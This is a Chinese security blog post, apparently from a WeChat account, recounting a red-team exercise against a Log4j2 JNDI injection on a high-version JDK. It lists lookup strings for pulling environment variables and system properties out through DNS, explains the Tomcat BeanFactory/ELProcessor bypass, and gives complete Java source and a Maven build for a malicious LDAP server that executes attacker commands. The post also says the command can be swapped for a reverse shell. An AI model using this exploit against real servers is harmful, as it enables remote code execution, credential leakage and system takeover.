近期参加了地市的比赛,实属太难挖了,云资产+waf+封IP。非常艰难的一周。
测试小程序,在翻看 burp 插件时,无意间发现了log4j2 漏洞,既兴奋又痛苦。
于是我直接打开 vps,启动 jndi 工具
发现请求字节码了,但是没有收到反弹 shell
就在我百思不得其解时,发现可能是 jdk 版本的问题。
只有 jdk 版本在此区间,可以用工具一键 shell
jdk8u121 < shell < jdk8u191
配置信息读取
环境变量 (Environment Variables):
${env:USER}
- 获取当前用户
${env:COMPUTERNAME}
/ ${env:HOSTNAME}
- 获取主机名
${env:PATH}
- 获取 PATH 环境变量
${env:HOME}
- 获取用户主目录
${env:JAVA_HOME}
- 获取 Java 安装路径
${env:ANY_ENV_VAR}
- 获取 任何 环境变量的值
系统属性 (System Properties):
${sys:java.version}
- 获取 Java 版本
${sys:os.name}
- 获取操作系统名称
${sys:user.name}
- 获取当前用户名 (通常与 env:USER 相同)
${sys:user.home}
- 获取用户主目录
${sys:user.dir}
- 获取当前工作目录
${sys:any.system.property}
- 获取 任何 Java 系统属性的值
... ...
还有很多配置,就不一一列举了。
于是我使用 dnslog 外带,读取系统的一些配置,果真发现对方 jdk 是高版本。
那咋办,还能咋办,绕呗
于是我又读取了相关的参数,比如系统架构,框架等等
有些参数可能会读不到数据,可以用 burp intruder 全跑一遍,这样就不需要一个一个试了。
最终使用el 链子,外带 root 权限。
这里的实际环境不好展示,所以读了这些配置,用来搭建同等环境的靶场。
高版本 JDK 怎么绕?
其实关于绕过,网上有很多师傅分析了
总共就两点
-
利用本地ClassPath中的类Reference Factory
利用目标应用中已存在的类构造利用链,比如说环境是 tomcat 启动的,Tomcat 中有org.apache.naming.factory.BeanFactory,javax.el.ELProcessor,那么就可以直接用内置的类进行命令执行
JNDI注入->ResourceRef->BeanFactory->ELProcessor.eval() ->EL表达式执行
-
利用LDAP返回序列化对象
通过LDAP返回序列化的恶意对象,触发本地反序列化链,比如说 pom 依赖中有 cc链,cb 链,则可以触发反序列化漏洞。这种方法同样不依赖远程类加载,而是依赖本地存在的反序列化利用链。
环境搭建
CentOS7 + jdk 1.8.0_261 + spring mvc (内置 tomcat)
环境启动后,按照实际环境的漏洞点进行测试。
accept 存在ldap 注入。
手搓代码
这里需要手写代码,启动 ldap 服务,并使用 ref 反射引用 el 类,然后进行命令执行
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
public class MaliciousLdapServer {
private static final int LDAP_PORT = 1389;
private static final int HTTP_PORT = 8000;
// 修改为您的Collaborator域名
private static final String COMMAND = "ping -c 1 xxx.dnslog.com";
public static void main(String[] args) throws Exception {
startHttpServer();
startLdapServer();
System.out.println("Exploit servers running. Payload: ${jndi:ldap://YOUR_IP:1389/o=exploit}");
}
private static void startHttpServer() throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress(HTTP_PORT), 0);
server.createContext("/", exchange -> {
try {
// 实际利用时应返回恶意class文件
byte[] response = "OK".getBytes();
exchange.sendResponseHeaders(200, response.length);
exchange.getResponseBody().write(response);
} finally {
exchange.close();
}
});
server.start();
System.out.println("HTTP server listening on port " + HTTP_PORT);
}
private static void startLdapServer() throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), LDAP_PORT, null, null, null));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
System.out.println("LDAP server listening on port " + LDAP_PORT);
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
// 使用更可靠的命令执行方式
String elExpr = String.format(
""".getClass().forName("java.lang.Runtime")" +
".getMethod("getRuntime").invoke(null)" +
".exec("%s")",
COMMAND.replace(""", "\"")
);
ref.add(new StringRefAddr("x", elExpr));
Entry e = new Entry(result.getRequest().getBaseDN());
e.addAttribute("javaClassName", "java.lang.String");
// 关键:使用正确的序列化方法
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
System.out.println("[+] Sent malicious LDAP response for command: " + COMMAND);
} catch (Exception ex) {
System.err.println("[-] Exploit failed: " + ex.toString());
ex.printStackTrace();
}
}
// 添加缺失的序列化方法
private byte[] serialize(Object obj) throws Exception {
try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
return bos.toByteArray();
}
}
}
}
创建 pom.xml
<projectxmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>untitled</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.7</version>
</dependency>
<!-- 可选:如果需要使用HTTP服务器 -->
<dependency>
<groupId>com.sun.net.httpserver</groupId>
<artifactId>http</artifactId>
<version>20070405</version>
<!-- JDK内置,通常不需要单独引入 -->
</dependency>
<!-- Tomcat依赖(提供ResourceRef类)-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.54</version> <!-- 根据实际版本调整 -->
</dependency>
</dependencies>
<build>
<plugins>
<!-- 创建可执行JAR -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifest>
<mainClass>MaliciousLdapServer</mainClass>
</manifest>
</archive>
</configuration>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
最后使用mvn package
编译 jar 包,java -jar xxxx.jar 启动即可。
将此 jar 包放到 vps 上
burp 执行ldap 命令
就会收到 dns 请求了
此时可以把命令替换为反弹 shell 的,再打开监听,便可获取到 shell。
当然这个代码还可以改进,从命令行的方式接受命令参数。
如果遇到的类不是 el,是其他的,只需要把其他的 ref 放到区域里就可以执行
列如跳跳糖浅蓝师傅的文章中的代码
我猜是不是有师傅会问,我怎么就知道对方服务器会存在 el 类,还是groovy 类。
利用链爆破
网上有篇文章,采用的是 urldns.jar 去探测可用链,但是是在本地,远程就不行了,但有一款工具感觉还可以的,也是笔者这几天搜索相关知识看到的。
https://github.com/Bl0omZ/JNDIEXP
启动方法为
java -jar JNDIInject-1.2-SNAPSHOT.jar -i vps-ip
使用方法 -u 参数
上面两个是标准 jdk 范围内使用的,下面则是高版本 jdk 使用的,有很多利用链。
这里有个ldap://0.0.0.0:1389/fuzzbyDNS/[domain
可以探测所有利用链
其他方法就不说了,师傅们自行下载 ,会有详细的使用教程。
这里以EL 为例
如有错误,请口下留情。
原文始发于微信公众号(我不懂安全):某攻防演练 | Log4j2 高版本JDK绕过实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论